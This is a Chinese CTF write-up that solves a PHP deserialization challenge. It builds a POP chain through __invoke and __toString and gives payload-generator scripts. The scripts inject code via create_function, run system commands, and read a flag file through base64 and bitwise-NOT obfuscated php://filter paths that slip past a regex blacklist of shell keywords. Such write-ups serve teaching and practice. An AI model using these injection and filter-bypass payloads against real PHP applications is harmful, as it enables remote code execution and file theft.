我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了
1<?php
2class A {
3 public $var;
4 public function show(){
5 echo $this->var;
6 }
7 public function __invoke(){
8 $this->show();
9 }
10}
11class B{
12 public $func;
13 public $arg;
14 public function show(){
15 $func = $this->func;
16 if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
17 die('No!No!No!');
18 } else {
19 include "flag.php";
20 //There is no code to print flag in flag.php
21 $func('', $this->arg);
22 }
23 }
24 public function __toString(){
25 $this->show();
26 return "<br>"."Nice Job!!"."<br>";
27 }
28}
29
30if(isset($_GET['pop'])){
31 $aaa = unserialize($_GET['pop']);
32 $aaa();
33}
34else{
35 highlight_file(__FILE__);
36}
37?>
首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString
调用了,如何调用__toString
?
__toString
当一个对象被当作一个字符串被调用。
对象当作字符串用,A里的show函数,输出var就是输出字符串,所以把这个var定义为B的对象,即可触发__toString
,这个输出var是A的show方法,__invoke
就会调用这个show方法
__invoke()
当脚本尝试将对象调用为函数时触发
下面的把pop接收后反序列化给$aaa,而后$aaa(),就满足了把对象当函数用
现在链子清楚了,我们可以看看如何构造命令,正则意思是func从开头到字母不能是纯数字或字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号。这里很好绕过,比如含有一个_即可绕过。或者开头换行符号都可以
$arg过滤了一大堆东西,都满足就会包含flag.php,然后func作为函数名,两个参数一个空一个arg
这里可以使用create_function()这个函数,这个函数会创建匿名函数,内部会跟eval差不多的功能,所以代码注入
return(1);}任意代码;//
我们先看下目录
1<?php
2class A {
3 public $var;
4}
5class B{
6 public $func;
7 public $arg;
8}
9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}system(ls);//';
13echo serialize($a);
14?>
Tru3flag.php应该就有真flag,包含此文件并输出,这里直接写会因为含有flag被正则过滤,所以需要编码后,输出
1<?php
2class A {
3 public $var;
4}
5class B{
6 public $func;
7 public $arg;
8}
9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
13echo serialize($a);
14?>
返回一个包含所有已定义变量列表的多维数组,var_dump则是输出这个多维数组内容
还有一种取反的方法,我写的payload老是错,分段写比较好,但是我还是写一起了
1<?php
2class A {
3 public $var;
4}
5class B{
6 public $func;
7 public $arg;
8}
9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}require(~('.strval(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')).'));//';
13echo urlencode(serialize($a));
14?>
这里对伪协议取反,然后strval转化成字符串,两边的点是为了把这个取反后的字符串跟两端代码连接在一起。不分开连,直接写字符串,会被认为是整体的一串字符,然后被正则过滤,因为取反后有许多不可见字符,因此需要url编码
得到的base64代码,解码即出flag